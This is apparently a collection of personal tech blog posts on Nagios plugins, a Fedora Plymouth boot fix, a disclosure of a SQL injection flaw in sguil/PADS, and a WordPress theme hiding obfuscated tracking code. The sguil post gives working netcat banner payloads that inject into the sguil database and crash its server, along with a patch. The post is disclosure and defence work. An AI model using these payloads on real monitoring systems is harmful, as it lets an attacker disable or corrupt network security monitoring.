This combines two of my favorite things!! Ok, maybe not FAVORITE persay, but recently, I’ve been writing a lot of nagios plugins. And recently, I’ve been hearing a lot about how the economy has been doing rather poorly. It’s as if the people running the economy need something to monitor it and make sure it’s doing okay.

And thus it was born: [the nagios check_economy plugin].

Right now it just monitors the Dow Jones Industrial Average and reports back on a range that you provide to it. My range at the current moment is warning if <=9000, critical if <=8500. The script will break if the people I'm mooching the stock data from redesign their website. Actually, you could probably even modify this script such that it checks other stock symbols besides DJI. The possibilities are endless! Dependencies include the curl package, an internet connection, and some time to waste. @mstarr, you may wish to file this one under humor. 🙂

For the impatient: [Download check_categorized_updates now]

I’ve been writing a lot of nagios plugins lately, and here’s the newest of the group. After googling around, I wasn’t able to find any nagios plugins that would support checking if, in the list of available packages, there were any that fell under the category of “security updates”. You know, like how PackageKit organizes the security updates.

I also decided to take the script one step further. You can specify required packages with the “-r” flag, and if they are found in the possible updates list, even for a feature enhancement, the plugin will report the system as “critical”. Otherwise, it reports as Warning.

Please do note in using this plugin that I parse out the metadata that yum prints by seeing if the output is greater than three lines. This will most definitely change from place to place. Also, this utility requires yum to be installed and it’s been designed on a RHEL/Fedora system. Updating it to use apt-get or the sun updating mechanism shouldn’t be terribly difficult, though, just a matter of changing the grep patterns.

So if the packages “kernel.x86_64” and “libtiff_x86_64” are available to be updates, and libtiff is a security update, here’s what the various combinations of options will return:

# ./check_updates => Warning
# ./check_updates -s => Critical
…
# yum update libtiff
…
# ./check_updates => Warning
# ./check_updates -s => Warning
# ./check_updates -r kernel.x86_64 => Critical
# ./check_updates -s -r kernel.x86_64 => Critical
…
# yum update kernel
…
# ./check_updates => Ok
# ./check_updates -s => Ok
# ./check_updates -r kernel.x86_64 => Ok
# ./check_updates -s -r kernel.x86_64 => Ok

Mayhaps this should be better called “getting rid of the blue and white bar loading screen in Fedora 11”, because that was the goal I had in mind when I set out on this mission. I’d like to officially say that [this guy] is just totally incorrect. He reviews Fedora 11 booting as, and I quote here,

“First, the loading screen is a simple blue loading bar. Second, the boot process is extremely quick. Does the first have anything to do with the second? It sure does. The Fedora 11 development team has decided to go with speed instead of looks during the boot process and I think Fedora 11 users will be thrilled with this small change to speed up the LiveCD boot time.”

HE’S CORRECT, I’M SO THRILLED!!! One main reason I find this funny — he assumes he knows exactly what the Fedora development team had in mind when designing this blue bar loading screen, yet he’s not a developer on the team. Nor is he correct. Nor did he even read the release notes or improvements list. Nope, not a single piece of knowledge, data, or documentation to back up this claim.

The truth? The dev team did work very hard on the boot process, and the fruit of their labors is the plymouth codebase. The blue/light-blue/white loading bar? Yeah, that’s actually a fallback when the graphical plymouth booting mechanism fails. Great job doing your homework! So we’ve established two things here, that there’s at least one page on the internet with incorrect information, and that, if you are experiencing the fedora 11 blue bar boot (say THAT one three times fast), you can actually attain a prettier boot process.

This how-to is written both from memory, and specifically for my laptop, which I was attempting to spruce up with a nice graphical boot. If it’s inaccurate, sorry about that, but you can certainly use the base I’m giving you here as a launching point for further research.

First, my laptop has an NVidia GPU in it, so it was necessary to download the proprietary NVidia drivers and install them. I did not install the 32-bit compatibility libraries, since if I do, the NVidia installer says something to the effect of, “Could not check random component #9662, assuming successful installation”. Well NVidia, you know what happens when you assume things… Anyway, once you’ve gotten the nvidia kernel module installed, edit /etc/modprobe.d/blacklist.conf and blacklist the modules “nv” and “nouveau” to prevent them from being loaded. We only want the proprietary driver to be loaded here. Make sure you update /etc/X11/xorg.conf as well and tell it to use the nvidia module.

Next, we need to make the framebuffer have the optimal settings, that way plymouth won’t die and fall back to the blue bar loading screen. Append to the end of the kernel line in /boot/grub/grub.conf the text “vga=ask” and reboot. The kernel will prompt you for a video mode. I recommend typing “scan” here and striking return abruptly, as we want to make sure all available modes are listed. And yes, the abrupt manner with which the enter key is pressed is important. So yeah, pick which mode fits your screen the best, for me it was 1920x1200x32, which had a hex code of like 37D or something. Like I said, this is all from memory. Now, write down this hex code somewhere, because you’ll need it again shortly. After the machine boots, find a calculator and convert the hex code you just entered into the kernel into decimal, then place the decimal value in the /boot/grub/grub.conf file, replacing the “ask” with your number. Mine resolved to decimal “893”, so I ended up with “vga=893” on the kernel line. Congrats, you have now made a hospitable environment with which plymouth can bedazzle you.

Okay, now it’s time to configure the workhorse. We’ll need the appropriate utilities, so run this:

# yum install plymouth plymouth-gdm-hooks plymouth-libs plymouth-plugin-label plymouth-plugin-two-step plymouth-scripts plymouth-system-theme plymouth-theme-charge plymouth-utils

Honestly, most of these were probably already installed, but it never hurts to make absolutely sure. Now, recall before where we compiled the NVidia driver? We’ll need that to be loaded during the boot process so that plymouth can come up. This means that we’ll need a new initrd containing the NVidia module. This is also the purpose of blacklisting the nv and nouveau modules, as they now won’t get included into the initrd. I’ve become Canadian lazy lately, so you can run this command to see how to build a new initrd:

# rpm -aq –scripts kernel | grep initrd

A list of 2 or 4 commands will show up from that. Now find the appropriate one and run it. For me, that was:

# /sbin/new-kernel-pkg –package kernel –mkinitrd –depmod –install 2.6.29.5-191.fc11.x86_64

Voila, one new shiny initrd. But the initrd isn’t quite done yet. We need to update plymouth’s hooks into it. First, we’ll want to select a theme for initrd to use. I’ve made sure, at the very least, you’ve installed the “charge” theme in the yum command above. There’s plenty more in the repos, feel free to search for more, install them, and play around. Some are very neat. Anyway, to see which themes are available, do something like this:

# ls -1 /usr/share/plymouth/themes/
charge
default.plymouth
details
text

As you can see, I have a couple of themes installed, but let’s focus on the charge theme. Set it as the default theme, and then update it’s initrd hooks by running, in order:

# plymouth-set-default-theme charge
# /usr/libexec/plymouth/plymouth-update-initrd

Note: This entire abovesaid process needs to be redone for each NVidia driver or kernel update, otherwise it’ll be broken and fall back to the blue bars again.

Now, reboot and enjoy the pretty loading screen. Now there’s only one issue you’ll need to figure out from here on out that I can’t seem to work out, and that’s when to reboot in order to enjoy the loading screen anyway. I mean, if you followed this tutorial, you’re clearly running Linux, which means you’ll probably not need to reboot any time soon. Effectively, you may have just wasted a good 15 minutes setting up a boot screen you’ll never really enjoy too much. Thanks for reading my blog, though, I do appreciate it. I promise next time I’ll include a spoiler warning at the top of the article. Have a nice day! 🙂

DISCLAIMER: I have nothing but respect for the sguil, snort, PADS, and other associated development teams. Because of their efforts, I have the tools that I need available to me at no direct cost. They are truly wonderful people, and in speaking with them, I have found that they are also extremely professional and courteous. I am only making this bug report public because I filed it more than a month ago in private, and no action has since been taken, no patches released, nor any mention made of it. It is a truly very serious bug, and should it turn up in the wrong hands, could lead to a braindead network monitoring system.

I happened to be monitoring a sguil daemon on a box appropriately named snort-mgmt in full debug mode. Sguild randomly died from time to time, maybe once a week. It was very rare and sparse. I happened to catch the problem while running it, and found the culprit of the problem.

Someone on our network had started a new httpd server, and PADS had picked up on it. The banner included “: The world’s best http server.”. Sguild died on a mysql error, and printed the exact error from mysql, saying there was a syntax error. It seemed that nowhere along the way was pads, pads_agent, or sguild sanitizing the SQL input.

Knowing this, I started a few tests. I ran on one of the sensor boxes:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);drop^Mdatabase^Msguildb;–” | nc -l 1050

and then telnet’d to it from my desktop. PADS picked up the banner packet, and passed it along exactly as it was sent. It has a 100% success rate on taking down sguild, though the above example of dropping the central database did not work, as PADS seems to parse out the whitespace. Perhaps someone more clever than myself could get the database drop to work. The injection of the deadbeefcafe did work, however, which is even worse than just taking down the management server. I ran a mysql query and found an event with hex_value ‘deadbeefcafe’, so I can confirm the injection works.

This in mind, I attempted to write a small fix to patch the problem. I was originally going to sanitize the output straight out of PADS, but PADS seems to use libpcap for that functionality, and I’d rather not go down to that level to solve a product-specific issue. So I went to the next step, the pads_agent. In pads_agent.tcl, I changed the function “GetFifoData { fifoID}” to read as such:

# PADS writes out a field per line ended with a “.” on its own.
if { $data != “.” } {

if { $DEBUG } { puts “New line from FIFO: $data” }
set data [string map {‘ \\’} $data]
lappend dataList $data

} else {

if { $DEBUG } { puts “ProcessData: $dataList” }
ProcessPadsData $dataList
set dataList “”

}

The difference being the set data string map line. I had to learn a bit of tcl to implement this. It’s not the best or most elegant fix in the world, the right way to fix this bug is to parameterize all of the MySQL calls. Upon testing the exact same command designed to break the system above, but netcatting on a different port so PADS picks it up properly again, the change worked. sguild didn’t die, and the information got put into the database successfully.

So here’s the final exploit, for those impatient people.

TO BRING THE SERVER DOWN (ungraceful, somewhat noticeable crash):

Run this command on a server being monitored by PADS/sguil:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);–” | nc -l 7777

…and then telnet to port 7777 from a different box.

TO INJECT DATA INTO THE SGUIL MYSQL DATABASE:

Run this command on a server being monitored by PADS/sguil:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’)–” | nc -l 8888

…and then telnet to port 8888 from a different box.

End result and proof of concept:

mysql> use sguildb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from pads where `hex_payload`=’deadbeefcafe’;
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
| hostname | sid | asset_id | timestamp | ip | service | port | ip_proto | application | hex_payload |
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
| sensor1test2 | 1 | 7 | 2009-06-08 14:28:02 | 2886732921 | ssh | 1061 | 6 | OpenSSH 1.4 | deadbeefcafe |
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
1 row in set (0.01 sec)

Suppose your friend wanted to install a video camera on your car. The video camera would only be able to see the treads of your tires as part of a study. He could only tell from this feed the depth of the treads of your tires. Nothing more, nothing less. Would you be particularly offended by this? Odds are probably not, this information is pretty benign. But what if this was a complete stranger who wanted to put the camera on your car? You’d probably be very wary of it, and inspect the camera to make sure it did exactly what he said it does. Fair enough, as the information is still pretty benign and he was pretty honest about it to begin with.

Now consider you walked outside, and one day found a video camera watching your tires just sitting there. You’ve had the car for years, you don’t know where the information is going, and you have no idea how the camera got there. And to boot, it looks like someone attempted to hide the camera — poorly. Perhaps by covering it with some clear tape or something. You’d be pretty pissed that someone did this, right?

I’ve been having issues from time to time with this blog. Randomly, the sidebars on the right load very slowly as compared to the rest of the document. I got really curious as to why the other day when it was happening again, and so I decided to figure it out. I had a suspicion that it was the mysql database, but I wanted to make sure. So I started an strace on the http daemon, and refreshed the page. I really was quite pissed at what I saw next. There was an outgoing http connection I’d never seen to a website I’d never heard of before. The connection was made moments after a gigantic glob of data was read from a php file on the filesystem. It started with eval(gzinflate(string_rot13(base64_decode(…………)))) and at this point, I knew I was in trouble. It was hidden code I wasn’t supposed to see running on my website.

See, when I first got this blog, I started by finding a nice theme. I did eventually come across the one you see now, and I liked it. A tad bit land-of-the-rising-sunny for me, but whatever, it did look nice. So I installed it. There were some plugs down the bottom of the page, one my friend even asked me about. He said, “dude, what’s with the plug for Burt’s Bee’s?”. I said, “I dunno, but the author of the document put it there, and he did ask that I not remove it, so I left it.” I swear I did the honest thing!

But then I see the camera pointing at my tires that I’d never authorized. The outgoing HTTP connection, that is. I quickly edited /etc/hosts and changed the hostname it was looking for to address 127.0.0.1. I refreshed the page. What happened? The footer and all the plugs (Burt’s Bees included) disappeared. The outgoing connection was actually quite legit. I wrote a quick php script myself to parse the output of the several layers of evaluations of random blocks of data. SEVENTY-ONE EVALUATIONS LATER, I attained the source code. It is a large user-agent tracking system. I’ve left the source code [right here].

So, I hate to inform you, but if you’ve visited this site in the past month or so, you have had some of your more public information read in by some stranger on the internet. No worries, the information was completely benign, simple stuff like your browser version and operating system type, hence the reference to tire tread. It’s stuff that I really wouldn’t have cared too much about the author collecting… if only he had just ASKED!. So now I found out that the entire footer of the page was actually coming from his server, which could mean simply one thing – Burt’s Bees is PAYING for this kind of shady advertising. That’s a horrible business practice!

In response, I’ve removed the offending code and published it in the link above. I’ve also blackhole routed any traffic from the offending website. The name of the theme, by the way, is SoulVision, and I actually did get it from a reputable repository of quality wordpress themes. As someone in the security field, I recognize that this could have been much worse than it was, and I realize just how lucky I am that it wasn’t. I guess my moral for the day is to always verify code that’s going into production on a locked down server. Oh, that, and I’ll probably never buy Burt’s Bees. Ever. End ‘o discussion on ethics.